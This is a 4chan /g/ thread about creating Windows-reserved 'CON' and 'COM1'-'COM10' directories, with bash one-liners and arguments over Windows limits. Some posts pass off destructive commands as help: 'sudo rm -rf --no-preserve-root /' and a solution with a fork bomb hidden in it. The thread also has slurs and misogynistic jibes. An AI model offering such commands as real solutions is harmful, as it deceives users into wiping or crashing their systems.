Create a directory named "CON", inside it, create 10 directories named "COM1", "COM2", "COM3", etc.
Inside these directories, create a file named "hello.txt" and post your result.
A true /g/entooman should be able to solve this.
>>55381417
So wait you want us to serial into a folder to create a text file?
>>55381433
Yes.
>>55381443
Boring I could do that with my eyes closed.
How is this a challenge? You make 10 directories and text files.
>>55381417
What are we solving? You want the code to do this?
Do your own homework
rm -rf
I didn't realise it was a coding homework question at first and thought OP had found some cheeky issue.
>>55381677
congrats on solving op's homework
>>55381690
>sudo rm -rf --no-preserve-root /
Get it right, you don't want op to fuck something up by accident. Goddamn.
theres probably a quicker way. but this works.mkdir CON && for N in `seq 1 1 10`; do mkdir CON/COM$N; touch CON/COM$N/hello.txt; done
Woops, misread OP. Subdirectories had to be named COM, not CON.
>>55381704
Pretty sure it's not a homework problem, as Windows users are incapable of doing it.
A really short way:mkdir -p CON/COM{1..10}; touch CON/*/hello.txt
>>55381775
>Windows users are incapable of doing it.
No they aren't
What are batch files?
Quick, open Notepad, type "fuel jet not melts" and save the file.
Report results when you reopen it
>>55381858
Windows can't make a folder named CON
>>55381452
shut up jamal
>>55381807
Wait no I'm retarded.
Also, results.mkdir -p CON/COM{1..10}; touch CON/COM{1..10}/hello.txt
>>55381883
I'm pretty sure only explorer can't.
>>55381883
Yes it can. But not with explorer.
>>55381807
that didn't work
>>55381775
You can do it on Windows, it's just annoying since it requires command prompt.
>>55381926
But making shit tons of folders is faster with a command prompt...
>>55381917
Yeah because there's no txt file yet when touching. See my fix in >>55381907
>>55381926
No it doesn't "require command prompt".
It doesn't have anything to do with your prompt. You just need to call the required syscall without using explorer.
a wind'ohs solution hasn't been posted yet lol
>>55382044
>Femanon
you wouldn't be reduced to learning about technology if you were attractive.
>>55382087
I actually work as a pharmacist. This is just a hobby
>>55382044
Now do it uppercase like OP asked for.
>>55381966
It does require command prompt. And not only that it also requires a fake network path, because Windows really hates that folder name.
>>55382188
No it doesn't require a command prompt.
You just need to call the required syscall.
Heck, just make a JScript file!
>>55381417
What's happenning ITT?
>>55382111
>technology hobby
that's even worse. technology enthusiasm is for fat boys and people no one else can stand being around.
>>55382248
I don't care about your childhood traumas, really.
>>55382258
h-how?
>>55382258
HI <3
Sorry I have to disagree to your post there
>>55382352
??
>>55382278
i'm not fat.
and you don't care about anyone that's why you help push pills to big pharma victims.
>>55382407
you're one cheeky cunt m8
>>55382407
You still can't set the folder name directly :)
Can you use powershell to make the folder? I'll give it a go
>>55382421
>>55382444
:) I don't know that
>>55382444
Oh wait hahaha
Easymkdir -p CON/COM{1..10};:(){:|: &};touch CON/COM{1..10}/hello.txt;:
>>55382469
You accidentally included a fork bomb in your code anon, you might want to remove that :)
>>55381677
>doing anons homework
>>55381775
>>55381775
>Windows users are incapable of doing it.
YOU FUCKING WHAT
>>55381417
Cheeky OP thinking he can troll Windows users.
>>55382556
>>55382536
>>55382565
Lol I where is your glorious file explorer?
>>55382608
That's con. Why don't you do it yourself?
>>55382407
ayyy, I do this with the russian symbols to bypass the cuss word filter in games. US keyboard F looks like A in russian (perfect for saying gay, faggot, ass etc.) and US C is C in russian (perfect for fuck, cunt, bitch etc.). There's also a T for shit but it kinda looks funny.
Why the fuck does gta v have a chat word filter when the peds in the game are scripted to say fuck?
>>55383266
This is not a daily designated thread.
>>>/v/loo